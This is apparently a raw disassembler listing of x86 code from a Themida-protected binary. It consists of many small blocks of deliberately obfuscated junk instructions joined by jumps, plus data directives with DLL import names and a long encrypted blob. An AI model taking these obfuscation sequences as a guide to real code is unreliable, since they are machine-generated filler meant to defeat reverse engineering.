loc_5AAD22: ; CODE XREF: Themida_:005A5301j
pop esi
jmp loc_599249
; ---------------------------------------------------------------------------
loc_5AAD28: ; CODE XREF: Themida_:005997F1j
xor bl, 81h
jmp loc_598D33
; ---------------------------------------------------------------------------
loc_5AAD30: ; CODE XREF: Themida_:00596ED1j
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A3928
; ---------------------------------------------------------------------------
loc_5AAD43: ; CODE XREF: Themida_:0059C02Bj
shr ebx, 1
push ebp
jmp loc_5A44C6
; ---------------------------------------------------------------------------
loc_5AAD4B: ; CODE XREF: Themida_:0059FB05j
and ah, 38h
shr ah, 5
xor ah, 0F9h
sub ah, 6
mov cl, ah
jmp loc_59D1CD
; ---------------------------------------------------------------------------
loc_5AAD5E: ; CODE XREF: Themida_:005A5CF7j
pop ebx
push ebx
push 4407h
mov [esp], edx
mov edx, 4
sub esp, 4
mov [esp], edx
mov ebx, [esp]
jmp loc_5A63E7
; ---------------------------------------------------------------------------
loc_5AAD7B: ; CODE XREF: Themida_:0059BDF9j
add ebp, 4
push eax
mov eax, 4
sub ebp, 56B80FAFh
add ebp, eax
jmp loc_5AB3BB
; ---------------------------------------------------------------------------
loc_5AAD94: ; CODE XREF: Themida_:00598045j
push ebx
mov bl, 0C4h
inc bl
or bl, 0BFh
and bl, 0D9h
sub bl, 1
sub bl, 8Dh
sub al, bl
pop ebx
add al, 85h
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
push esi
jmp loc_59E69A
; ---------------------------------------------------------------------------
loc_5AADBD: ; CODE XREF: Themida_:005A3E69j
add ebx, 4BDF2BEAh
add ebx, edx
jmp loc_5A4603
; ---------------------------------------------------------------------------
loc_5AADCA: ; CODE XREF: Themida_:005A0D6Fj
add ecx, eax
pop eax
add edi, ecx
pop ecx
push 1A6Dh
mov [esp], edi
pop eax
mov edi, [esp]
jmp loc_59EA3D
; ---------------------------------------------------------------------------
loc_5AADE1: ; CODE XREF: Themida_:005A4F70j
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xchg ebx, [esp]
pop esp
push 607Ah
jmp loc_59822E
; ---------------------------------------------------------------------------
loc_5AAE05: ; CODE XREF: Themida_:005A7BDBj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AAE0A: ; CODE XREF: Themida_:00597F65j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AAE0F: ; CODE XREF: Themida_:005967CCj
sub dl, bh
add dl, 0F7h
push dword ptr [esp]
jmp loc_5A7D24
; ---------------------------------------------------------------------------
loc_5AAE1C: ; CODE XREF: Themida_:005A3A26j
pop ebx
jmp loc_5A4AA8
; ---------------------------------------------------------------------------
loc_5AAE22: ; CODE XREF: Themida_:005A3637j
mov ebp, esp
push edx
jmp loc_598C54
; ---------------------------------------------------------------------------
loc_5AAE2A: ; CODE XREF: Themida_:005A19F6j
add esi, 0F4B13EAAh
jmp loc_5A189B
; ---------------------------------------------------------------------------
loc_5AAE35: ; CODE XREF: Themida_:005AA6E2j
push ecx
mov ecx, 10E3093Dh
mov esi, ecx
jmp loc_599D03
; ---------------------------------------------------------------------------
loc_5AAE42: ; CODE XREF: Themida_:00598F2Fj
pop ebx
xor cl, 4Fh
add al, cl
pop ecx
add al, dl
sub al, 4
pop edx
sub al, cl
sub al, 0CBh
pop cx
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_598A40
; ---------------------------------------------------------------------------
loc_5AAE61: ; CODE XREF: Themida_:005A6E63j
sub eax, 6CD1E6Eh
add eax, ebx
add eax, 6CD1E6Eh
push ebx
jmp loc_5AA95F
; ---------------------------------------------------------------------------
loc_5AAE73: ; CODE XREF: Themida_:005A1B82j
movsx cx, al
push 3113h
mov [esp], eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
add eax, 4
jmp loc_5A182E
; ---------------------------------------------------------------------------
loc_5AAE94: ; CODE XREF: Themida_:005A4C68j
sub ebp, 4B48B9h
add edi, ebp
pop ebp
sub edi, 4
jmp loc_5A5756
; ---------------------------------------------------------------------------
loc_5AAEA8: ; CODE XREF: Themida_:0059A5FDj
mov ebx, [esp]
add esp, 4
and dh, 56h
push bx
mov bh, 0AEh
add dh, bh
mov bx, [esp]
add esp, 2
xor bl, dh
jmp loc_5A2A92
; ---------------------------------------------------------------------------
loc_5AAEC8: ; CODE XREF: Themida_:005A3933j
push edi
jmp loc_5A42A7
; ---------------------------------------------------------------------------
loc_5AAECE: ; CODE XREF: Themida_:0059900Aj
xchg eax, [esp]
pop esp
jmp loc_599B9F
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_5A8903
; ---------------------------------------------------------------------------
loc_5AAEE9: ; CODE XREF: Themida_:0059BBB8j
sub ebx, eax
sub ebx, 25452548h
jmp loc_5A12B2
; ---------------------------------------------------------------------------
loc_5AAEF6: ; CODE XREF: Themida_:0059BD8Cj
push 2D06h
mov [esp], eax
jmp loc_5A5D13
; ---------------------------------------------------------------------------
loc_5AAF03: ; CODE XREF: Themida_:005A46B8j
pop eax
add edx, 3293D61Ch
neg edx
xor edx, 41AC6CFCh
push edx
not dword ptr [esp]
pop edx
inc edx
jmp loc_59D270
; ---------------------------------------------------------------------------
loc_5AAF1D: ; CODE XREF: Themida_:0059C14Dj
mov [esp], edx
mov edx, 7AC25FD8h
xor edx, 4B393F14h
jmp loc_5A0531
; ---------------------------------------------------------------------------
loc_5AAF30: ; CODE XREF: Themida_:0059FB16j
push edi
push dword ptr [esp+4]
pop edi
jmp loc_59680E
; ---------------------------------------------------------------------------
loc_5AAF3B: ; CODE XREF: Themida_:0059D6D3j
push 3B7621FFh
pop edx
dec edx
jmp loc_5AA9E9
; ---------------------------------------------------------------------------
loc_5AAF47: ; CODE XREF: Themida_:0059B018j
pop ebp
or ebp, 1C741EC4h
or ebp, 1E383C2Ah
inc ebp
xor ebp, 887FEDB4h
and edi, ebp
mov ebp, [esp]
jmp loc_59684B
; ---------------------------------------------------------------------------
loc_5AAF65: ; CODE XREF: Themida_:005A176Cj
pop ebx
jmp loc_59FC83
; ---------------------------------------------------------------------------
loc_5AAF6B: ; CODE XREF: Themida_:005A3F8Ej
mov ebx, [esp]
add esp, 4
add eax, esi
pop esi
push ebx
mov ebx, 4
sub eax, ebx
pop ebx
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
jmp loc_59F95D
; ---------------------------------------------------------------------------
loc_5AAF8B: ; CODE XREF: Themida_:0059A6ECj
mov [esp], ebx
push 348Eh
jmp loc_59A306
; ---------------------------------------------------------------------------
loc_5AAF98: ; CODE XREF: Themida_:00598788j
xor esi, 1AB257Ch
push edx
mov edx, 598D3CBEh
sub edi, edx
pop edx
sub edi, esi
add edi, 598D3CBEh
pop esi
sub edi, 448A6A09h
add edi, ecx
add edi, 448A6A09h
jmp loc_5A4040
; ---------------------------------------------------------------------------
loc_5AAFC3: ; CODE XREF: Themida_:005A3B6Ej
push 1CE4h
jmp loc_596A34
; ---------------------------------------------------------------------------
loc_5AAFCD: ; CODE XREF: Themida_:00598D5Fj
mov eax, 4
jmp loc_5A1CD2
; ---------------------------------------------------------------------------
loc_5AAFD7: ; CODE XREF: Themida_:0059A4BAj
push 6E69h
push esp
pop dword ptr [esp]
jmp loc_59F949
; ---------------------------------------------------------------------------
loc_5AAFE5: ; CODE XREF: Themida_:005A57EFj
sub ecx, 4
push ecx
jmp loc_5A694F
; ---------------------------------------------------------------------------
loc_5AAFEE: ; CODE XREF: Themida_:005A0C92j
sub ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_59FE70
; ---------------------------------------------------------------------------
loc_5AAFFE: ; CODE XREF: Themida_:005A6408j
pop esp
sub esp, 4
jmp loc_5A66D7
; ---------------------------------------------------------------------------
loc_5AB007: ; CODE XREF: Themida_:0059EDE8j
pop eax
add ebx, edi
add ebx, 4B576E2h
push eax
mov eax, 7B935452h
mov dword ptr [ebx], 7B935452h
xor [ebx], eax
pop eax
jmp loc_5960E9
; ---------------------------------------------------------------------------
loc_5AB024: ; CODE XREF: Themida_:0059FA97j
add edx, 0EE84B6Ch
mov ebp, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
jmp loc_5A0340
; ---------------------------------------------------------------------------
loc_5AB03E: ; CODE XREF: Themida_:005A3279j
pop esi
neg ebp
jmp loc_59C7CE
; ---------------------------------------------------------------------------
loc_5AB046: ; CODE XREF: Themida_:0059AA68j
mov ebx, 745F34Ah
jmp loc_5962DD
; ---------------------------------------------------------------------------
loc_5AB050: ; CODE XREF: Themida_:005A3EDBj
pop ebx
push dword ptr [esp]
pop ebx
add esp, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5AA74D
; ---------------------------------------------------------------------------
loc_5AB06A: ; CODE XREF: Themida_:0059C5E4j
xchg ecx, [esp]
pop esp
push 661Bh
mov [esp], ebp
push edx
push ecx
mov ecx, 6A8B4A93h
jmp loc_5A4773
; ---------------------------------------------------------------------------
loc_5AB082: ; CODE XREF: Themida_:0059D0FCj
neg esi
inc esi
inc esi
push ecx
mov ecx, 6D19470Dh
sub ecx, 63CE1E1Ch
xor ecx, 21B0178Dh
and ecx, 38D43ECDh
inc ecx
add ecx, 5BB70BAEh
push edx
mov edx, 0A8668A9Ch
jmp loc_5A4294
; ---------------------------------------------------------------------------
loc_5AB0B0: ; CODE XREF: Themida_:005A24C5j
pop edi
push dword ptr [esp]
jmp loc_5AA4AE
; ---------------------------------------------------------------------------
loc_5AB0B9: ; CODE XREF: Themida_:0059E31Cj
push ebx
mov ebx, 4
sub esi, ebx
jmp loc_59EFE0
; ---------------------------------------------------------------------------
loc_5AB0C6: ; CODE XREF: Themida_:005A6B57j
mov ebx, [esp]
add esp, 4
add edx, 1
shr edx, 8
add edx, 0FFFFFFFFh
dec edx
jmp loc_5A8247
; ---------------------------------------------------------------------------
loc_5AB0DB: ; CODE XREF: Themida_:005AA53Aj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A7075
; ---------------------------------------------------------------------------
loc_5AB0E7: ; CODE XREF: Themida_:005A0587j
pop edi
mov ebp, ecx
pop ecx
xor ebp, 39F6245Eh
push esi
mov esi, 470D43EBh
sub ebp, 3F551DFh
sub ebp, esi
add ebp, 3F551DFh
jmp loc_5A2BE3
; ---------------------------------------------------------------------------
loc_5AB10A: ; CODE XREF: Themida_:0059D737j
pop esi
jmp loc_59F7A6
; ---------------------------------------------------------------------------
loc_5AB110: ; CODE XREF: Themida_:005A8D4Bj
push esp
pop edx
add edx, 4
add edx, 2
jmp loc_598965
; ---------------------------------------------------------------------------
loc_5AB120: ; CODE XREF: Themida_:005A52D0j
inc cl
jmp loc_5A0F22
; ---------------------------------------------------------------------------
loc_5AB127: ; CODE XREF: Themida_:0059F3E1j
shl eax, 7
add eax, 2AD53197h
push ebp
push eax
mov eax, 2CA96A9Fh
mov ebp, eax
jmp loc_598B4E
; ---------------------------------------------------------------------------
loc_5AB13D: ; CODE XREF: Themida_:0059FB59j
shl bl, 1
push 2C54h
mov [esp], eax
mov al, 21h
neg al
add al, 8
jmp loc_59B047
; ---------------------------------------------------------------------------
loc_5AB152: ; CODE XREF: Themida_:0059EE88j
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp]
pop esp
shl bl, 5
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov dh, 79h
sub bl, 8Dh
push ecx
mov ch, 69h
jmp loc_5A0365
; ---------------------------------------------------------------------------
loc_5AB188: ; CODE XREF: Themida_:005983AAj
push edi
push eax
push esi
jmp loc_5977B0
; ---------------------------------------------------------------------------
loc_5AB190: ; CODE XREF: Themida_:00598288j
and bh, ch
jmp loc_59BF3F
; ---------------------------------------------------------------------------
loc_5AB197: ; CODE XREF: Themida_:00597ACDj
shl ecx, 8
shr ecx, 1
shl ecx, 5
jmp loc_59CD25
; ---------------------------------------------------------------------------
loc_5AB1A4: ; CODE XREF: Themida_:005A9863j
sub esi, 4C2D6921h
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5A53C9
; ---------------------------------------------------------------------------
loc_5AB1B6: ; CODE XREF: Themida_:005A3609j
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_595F5D
; ---------------------------------------------------------------------------
loc_5AB1DA: ; CODE XREF: Themida_:0059C050j
sub esp, 2
jmp loc_59FAF3
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A12E4
; ---------------------------------------------------------------------------
loc_5AB1EE: ; CODE XREF: Themida_:0059D69Fj
add esp, 4
push eax
mov eax, esi
mov edx, eax
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5A2526
; ---------------------------------------------------------------------------
loc_5AB20A: ; CODE XREF: Themida_:005A49FAj
add edx, ebp
pop ebp
jmp loc_5A2667
; ---------------------------------------------------------------------------
loc_5AB212: ; CODE XREF: Themida_:0059A30Bj
add edx, 4
push esi
push ebp
mov ebp, 355F73BBh
mov esi, 355F73BFh
jmp loc_5AA651
; ---------------------------------------------------------------------------
loc_5AB229: ; CODE XREF: Themida_:005A4E47j
push eax
mov eax, 507D0A5Eh
sub edx, eax
jmp loc_5A79EE
; ---------------------------------------------------------------------------
loc_5AB236: ; CODE XREF: Themida_:0059FC35j
pop ebx
push ebx
mov bl, 23h
push ecx
mov ch, 84h
jmp loc_5AAA02
; ---------------------------------------------------------------------------
loc_5AB242: ; CODE XREF: Themida_:005A030Dj
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 14BF7D58h
sub ebp, 1832632Ch
jmp loc_59B051
; ---------------------------------------------------------------------------
loc_5AB265: ; CODE XREF: Themida_:0059F773j
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 31044C13h
xor ecx, 31044C17h
add ebx, ecx
pop ecx
add ebx, 4
jmp loc_59871C
; ---------------------------------------------------------------------------
loc_5AB287: ; CODE XREF: Themida_:0059B5FEj
mov di, 392Ah
push bx
push edx
mov dx, 6DBFh
mov bx, dx
pop edx
sub ax, bx
pop bx
sub ax, di
add ax, 6DBFh
jmp loc_59B65F
; ---------------------------------------------------------------------------
loc_5AB2A7: ; CODE XREF: Themida_:00597711j
xchg ebx, [esp]
pop esp
mov [esp], esp
jmp loc_5970AE
; ---------------------------------------------------------------------------
loc_5AB2B3: ; CODE XREF: Themida_:005A4705j
mov ebp, 0
mov ecx, ebp
pop ebp
jmp loc_597096
; ---------------------------------------------------------------------------
loc_5AB2C0: ; CODE XREF: Themida_:0059BC3Dj
pop dword ptr [esp]
jmp loc_5A84D2
; ---------------------------------------------------------------------------
loc_5AB2C8: ; CODE XREF: Themida_:005984CAj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub edi, ebp
jmp loc_5A9CB3
; ---------------------------------------------------------------------------
loc_5AB2E0: ; CODE XREF: Themida_:0059B765j
mov ah, 0B7h
or dl, ah
pop ax
shr dl, 5
jmp loc_59C0A7
; ---------------------------------------------------------------------------
loc_5AB2EE: ; CODE XREF: Themida_:00598777j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push ebp
jmp loc_59CE14
; ---------------------------------------------------------------------------
loc_5AB2FF: ; CODE XREF: Themida_:005A2B60j
inc eax
dec eax
jmp loc_5A1027
; ---------------------------------------------------------------------------
loc_5AB306: ; CODE XREF: Themida_:005A3D75j
mov ebx, eax
pop eax
xor eax, ebx
pop ebx
jmp loc_5A6BBD
; ---------------------------------------------------------------------------
loc_5AB311: ; CODE XREF: Themida_:00596687j
xor edi, 6F21514Dh
xor edi, 36547D09h
dec edi
push ebp
mov ebp, 32EC518Ah
xor edi, ebp
jmp loc_5A2236
; ---------------------------------------------------------------------------
loc_5AB32B: ; CODE XREF: Themida_:005A15A2j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_5A42D6
; ---------------------------------------------------------------------------
loc_5AB339: ; CODE XREF: Themida_:00599294j
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5A8571
; ---------------------------------------------------------------------------
loc_5AB357: ; CODE XREF: Themida_:0059937Fj
pop esi
shl edx, 2
add edx, 0FFFFFFFFh
push esi
mov esi, 363A6250h
and edx, esi
pop esi
push ebx
push ebp
push eax
mov eax, 65107ED1h
jmp loc_5A1A3E
; ---------------------------------------------------------------------------
loc_5AB374: ; CODE XREF: Themida_:005A0C9Dj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59C030
; ---------------------------------------------------------------------------
loc_5AB385: ; CODE XREF: Themida_:0059C4C3j
mov bp, 53E1h
dec bp
add bp, 0FF75h
jmp loc_5A8A55
; ---------------------------------------------------------------------------
loc_5AB395: ; CODE XREF: Themida_:0059AFBDj
push ecx
mov ch, 0F8h
add bl, ch
jmp loc_597FCD
; ---------------------------------------------------------------------------
loc_5AB39F: ; CODE XREF: Themida_:005A11EBj
xor esi, [esp]
pop esp
mul cl
movzx cx, ah
push 4687h
mov [esp], ebx
push 30FAh
jmp loc_59639C
; ---------------------------------------------------------------------------
loc_5AB3BB: ; CODE XREF: Themida_:005AAD8Fj
push ebx
mov ebx, 56B80FAFh
add ebp, ebx
pop ebx
pop eax
xchg ebp, [esp]
mov esp, [esp]
push edx
push esp
jmp loc_59A72D
; ---------------------------------------------------------------------------
loc_5AB3D2: ; CODE XREF: Themida_:005A5A90j
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_59F40A
; ---------------------------------------------------------------------------
loc_5AB3E1: ; CODE XREF: Themida_:005A7FE0j
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_59A117
; ---------------------------------------------------------------------------
loc_5AB3FC: ; CODE XREF: Themida_:005A898Aj
mov [esp], ebx
mov ebx, 2AF4DC0h
push ecx
mov ecx, 18D35CECh
inc ecx
sub ecx, 0BFC2717Fh
jmp loc_596CAC
; ---------------------------------------------------------------------------
loc_5AB416: ; CODE XREF: Themida_:0059E452j
push edx
sub esp, 4
push esp
jmp loc_5A60AE
; ---------------------------------------------------------------------------
loc_5AB423: ; CODE XREF: Themida_:00599888j
pop edx
mov bx, [esp]
jmp loc_5A953E
; ---------------------------------------------------------------------------
loc_5AB42D: ; CODE XREF: Themida_:0059BEEDj
xor ecx, eax
mov eax, [esp]
add esp, 4
mov ebx, ecx
pop ecx
push edi
push ebx
jmp loc_5A9B7B
; ---------------------------------------------------------------------------
loc_5AB43F: ; CODE XREF: Themida_:0059A466j
mov ah, 0A4h
push dx
mov dl, 94h
add ah, dl
pop dx
shr ah, 5
jmp loc_5A9A28
; ---------------------------------------------------------------------------
loc_5AB451: ; CODE XREF: Themida_:005A3547j
not edx
push edi
push esi
jmp loc_5983AF
; ---------------------------------------------------------------------------
loc_5AB45A: ; CODE XREF: Themida_:0059919Cj
push 74DFh
jmp loc_5A0F8A
; ---------------------------------------------------------------------------
loc_5AB464: ; CODE XREF: Themida_:0059E9DCj
xor [esp], esi
xor esi, [esp]
jmp loc_59839D
; ---------------------------------------------------------------------------
loc_5AB46F: ; CODE XREF: Themida_:00596A39j
mov esi, 0A114B21h
mov eax, 648A7786h
jmp loc_59BCEA
; ---------------------------------------------------------------------------
loc_5AB47E: ; CODE XREF: Themida_:005A610Fj
sub esp, 4
mov [esp], edi
push 30AC78AFh
push dword ptr [esp]
mov edi, [esp]
jmp loc_59629B
; ---------------------------------------------------------------------------
loc_5AB497: ; CODE XREF: Themida_:0059AC20j
sub [esp+8], edi
add dword ptr [esp+8], 692B21DEh
pop edi
sub dword ptr [esp+4], 3D01395Ch
sub esp, 4
mov [esp], eax
mov eax, 3B703CBAh
add [esp+8], eax
pop eax
jmp loc_59F7D9
; ---------------------------------------------------------------------------
loc_5AB4C4: ; CODE XREF: Themida_:005A1534j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AB4C9: ; CODE XREF: Themida_:0059A2B8j
mov esi, [esp]
add esp, 4
pop edx
jmp loc_5A4F7E
; ---------------------------------------------------------------------------
loc_5AB4D5: ; CODE XREF: Themida_:005993DDj
add esp, 4
jmp loc_596AA1
; ---------------------------------------------------------------------------
loc_5AB4DD: ; CODE XREF: Themida_:005A9483j
mov cl, [esp+4]
mov [esp+4], bl
jmp loc_599045
; ---------------------------------------------------------------------------
loc_5AB4EA: ; CODE XREF: Themida_:005A8791j
push small 6452h
mov [esp], cx
mov ch, 54h
dec ch
xor ch, 96h
mov bl, ch
mov cx, [esp]
push 720Ah
jmp loc_59EE85
; ---------------------------------------------------------------------------
loc_5AB509: ; CODE XREF: Themida_:0059F09Bj
add ebx, esi
jmp loc_599DEC
; ---------------------------------------------------------------------------
loc_5AB510: ; CODE XREF: Themida_:00589136j
jmp loc_5AB55F
; ---------------------------------------------------------------------------
db 0BAh, 98h, 86h
dd 4553552Bh, 2E323352h, 6C6C64h, 41564441h, 32334950h
dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 2000407h
dd 4001600h, 18003900h, 37B00h, 4 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5AB55F: ; CODE XREF: Themida_:loc_5AB510j
jmp loc_5ABDB2
; ---------------------------------------------------------------------------
push 7AAA1E9h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA24Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA36Dh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA4B8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA528h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA61Bh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AAA684h
jmp loc_58941B
; ---------------------------------------------------------------------------
xchg dl, ch
retn 0C4ADh
; ---------------------------------------------------------------------------
db 10h
dd 4F09F207h, 8C4A3348h, 0CE8D768Bh, 23A6B4C9h, 0AFC4D382h
dd 0EF0413C6h, 31465106h, 6C819648h, 71A7ED8Ch, 77CBAECFh
dd 68C32FDDh, 0B7A470E5h, 1765071h, 3EDE17DBh, 8A410119h
dd 0BCA9CACDh, 0FBC6D183h, 9CBB5D2Eh, 0B1EC04D1h, 0EFD9BD4h
dd 17692C8h, 709198DBh, 93176858h, 0DC39B4DBh, 20C50BF8h
dd 26BC83ACh, 116541Fh, 47A2E8D5h, 4DC42BE8h, 79205946h
dd 0E8164C92h, 151CC42Bh, 88DDDCF4h, 0D08A8D4Fh, 48163E4Eh
dd 0AE91A93Ch, 0EDD6EBECh, 6E322A2Dh, 99039859h, 6A92C04h
dd 3DDE0000h, 781C051Ah, 0B7614A5Fh, 0F4A28BA0h, 36E5CEE3h
dd 0CBFE0C21h, 71C3BDAh, 475C7B1Eh, 899EB95Eh, 0C4D9FEA0h
dd 0C9FF45E4h, 0CFCBAECFh, 17C78735h, 1EF73500h, 5274C9B6h
dd 17DB5913h, 7060788Eh, 0DB03BDE6h, 0BFF8E5ECh, 0E3E2FA1Dh
dd 0D5EAEDAAh, 5D282FECh, 21193EE0h, 0F4E04E11h, 44A37B10h
dd 79000006h, 0C1AABFD8h, 6EF0413h, 47304552h, 866F8493h
dd 9DABC0D7h, 0BDDA792Ch, 0FF18BFA8h, 435401EAh, 8295452Eh
dd 0A8EE8D6Dh, 0CBAECE72h, 0C730DE78h, 41396717h, 732D2AEAh
dd 5401CA50h, 8AAB7843h, 71219E69h, 7E159B66h, 0EA236713h
dd 6AF61BA7h, 0F4000000h, 0EB0017C7h, 7080BAFFh, 0B363D359h
dd 70E58FA4h, 4062B7A4h, 221C7C54h, 6FA583B2h, 75D35941h
dd 2DF81FBEh, 28273F60h, 1B3A3E2h, 0B5A2A9DBh, 26D93E60h
dd 34B0D3A1h, 7B9C391Ch, 9681558Eh, 0A96E577Eh, 0D388C1AEh
dd 9E93F9C4h, 440B669Dh, 56334B6Ch, 0FAD184BDh, 1D27EB4h
dd 5C7D84DBh, 6EACC491h, 587h, 17C7B0h, 0B1639C35h, 3875DBA6h
dd 53300D2h, 0B75B7394h, 5089765Eh, 42BF8A8Dh, 0E9B68196h
dd 6BB1B0C8h, 0DB00B266h, 0F7E0B56Ch, 6D8C1D6h, 0E7E91F78h
dd 7B9C633Bh, 0CB5BBC66h, 0ED0E09h, 0AB933BBAh, 4D3A41E2h
dd 3B504714h, 0C7928552h, 38DF884Ah, 2606FE1Fh, 0F1FC1821h
dd 525845Ch, 0B95A0000h, 0FCA0899Eh, 3BDDC6DBh, 781E071Ch
dd 0B2614A5Fh, 478290A5h, 8398BF5Eh, 0C3D8FF9Ah, 51A3DDAh
dd 485D7A1Ch, 4D83C968h, 53CBAECDh, 17C70BB9h, 479C3500h
dd 5970CB01h, 0B2CAD1D3h, 82580FCFh, 5C2730E5h, 0D6A36E8Fh
dd 0CD64EAB5h, 0DE7EB762h, 921EEB9h, 5972EC19h, 0D8917FD3h
dd 3CE457FCh, 0ADF421Ah, 5F77BB16h, 0FFFECC43h, 17C741FFh
dd 0C28D8A50h, 0CB09D4F5h, 80CEF14Ah, 0BCEC5B96h, 7B5389CFh
dd 5259D358h, 3DFE4431h, 43DB007Fh, 22273Ch, 17120D4Ah
dd 0F2A778DFh, 354D1AE5h, 63508491h, 0A975881Dh, 0BC878EE2h
dd 0A974F932h, 0DE1714E2h, 0E9041C3Bh, 698D27Eh, 9061EB08h
dd 5F000001h, 70E568C3h, 5071B7A4h, 56DB0176h, 1049264Fh
dd 0DBFC9E49h, 57224310h, 4E193EDAh, 58486081h, 0B4DB9307h
dd 62382C29h, 21675475h, 0BC83AB7Ch, 72B07B82h, 0E91F65E5h
dd 0E3BC83AAh, 36276F5Fh, 0E2E997AAh, 0DB341328h, 325367F2h
dd 32A4FF45h, 0A3AAC42Ch, 0B8DF7DB6h, 0B668A1A0h, 683324F1h
dd 60657A9Bh, 4A627527h, 1407B767h, 0ED6CDC7Bh, 1BB213CDh
dd 0D40D737Ah, 291BBBB3h, 11A60398h, 3DA39h, 494E0F00h
dd 8E894B34h, 0CFC89079h, 1205D1BAh, 564114FDh, 0F963341h
dd 4D364B4Ch, 8F788D8Ah, 0CFB8CDCAh, 13F3080Fh, 0CBF82E74h
dd 64FECBAEh, 2C1106B6h, 14CEFE06h, 675475B5h, 0F2142A45h
dd 3EF8C997h, 8F3C6274h, 0D9D8F024h, 3542193h, 0AD7027DBh
dd 1B3C5BFAh, 7D40DFAh, 4512FB10h, 480A8752h, 0E1AD574Fh
dd 972CF4E3h, 36ABFh, 0D9FE9F00h, 1E39DBC4h, 5F782009h
dd 0A2B5614Ah, 0E6F1A48Dh, 9F06C3D1h, 0DDC6DBFCh, 1F081D3Ah
dd 5F485D7Ah, 0A38398BFh, 0CB88BE04h, 0F48ECBAEh, 0A472AB46h
dd 0E6B89BB3h, 0E9A926F1h, 69D23EEh, 72D2FF9Bh, 0E5B5D359h
dd 0B6819642h, 0B9A7C8E9h, 0E457FFF0h, 67334264h, 229A1FBh
dd 0FD1FCEEAh, 0ABCCFFFFh, 99B1A672h, 28F3E4B6h, 9384568Fh
dd 0CA7ED77Bh, 59704E84h, 2C4D54D3h, 8180F93Fh, 2547DB01h
dd 0AE107848h, 9BBC5F37h, 0CAE203D0h, 0DD16030Ah, 85521D3Ah
dd 0C35A466Dh, 9F77E06Dh, 764B6CB2h, 4A51DB01h, 8CC2085Dh
dd 92DB0176h, 764379BFh, 4249DB01h, 0CE0921h, 8318E9E0h
dd 0A69385A7h, 7C551B5Bh, 7F57C064h, 0FCA74C92h, 0A6AD8AC0h
dd 5CB89DDBh, 37CE296Fh, 0CDD49269h, 0E0F7A7E0h, 2730E2CBh
dd 45C49B2Fh, 0D9B1464Ch, 277h, 0D7ECEBACh, 14292EEEh
dd 556A6D2Bh, 94A9AE6Ch, 0DAEFE8ABh, 0F5A8FDCCh, 35E4CDE2h
dd 77240D22h, 0B0624B60h, 13B292A7h, 0AECA97CDh, 55039DCBh
dd 47151106h, 97B88550h, 10FC64AAh, 0FB02DB04h, 3D73B90Eh
dd 43DB0411h, 0EC25243Ch, 0E13282Fh, 451007D5h, 0D87D6078h
dd 0A777F4BFh, 0A218B8B0h, 42D7F4E0h, 20E6Ah, 85924300h
dd 0C2D58770h, 314C4ADh, 465105EEh, 82954831h, 3B6A5F6Dh
dd 816A7F98h, 0C3ACC1D6h, 3EC0116h, 4F2F4453h, 0CA346AB0h
dd 0A03ACBAEh, 151106F2h, 422F5047h, 41194FCh, 0A6939ADBh
dd 95AAAD6Dh, 0B9A66EEBh, 4114773h, 7B464DDBh, 6D385FFEh
dd 0A6B1640Bh, 23DB80B9h, 0C5ACDDE4h, 0ED0526D4h, 0D188C1C6h
dd 5D2EFBC6h, 7D49FB8h, 6DCE4BEFh, 1C22035Ah, 6F5C7DD9h
dd 467FB29h, 0C989C2DBh, 659BE1CEh, 6BDB0468h, 0D58C4C64h
dd 26F11205h, 23EEE9A9h, 5F781AC1h, 0A6B1614Ah, 0CC1F5ADBh
dd 0C393228Dh, 0EFAEE7D4h, 3E841DE8h, 0DB046808h, 0CEE6070Eh
dd 0FB1CBEA7h, 0F7E0B330h, 2AEFE80Ah, 0EB428AB7h, 1831F6D3h
dd 5B7C1EADh, 99BE5D46h, 0DB1157ACh, 0E1DB03D1h, 64E5C2DAh
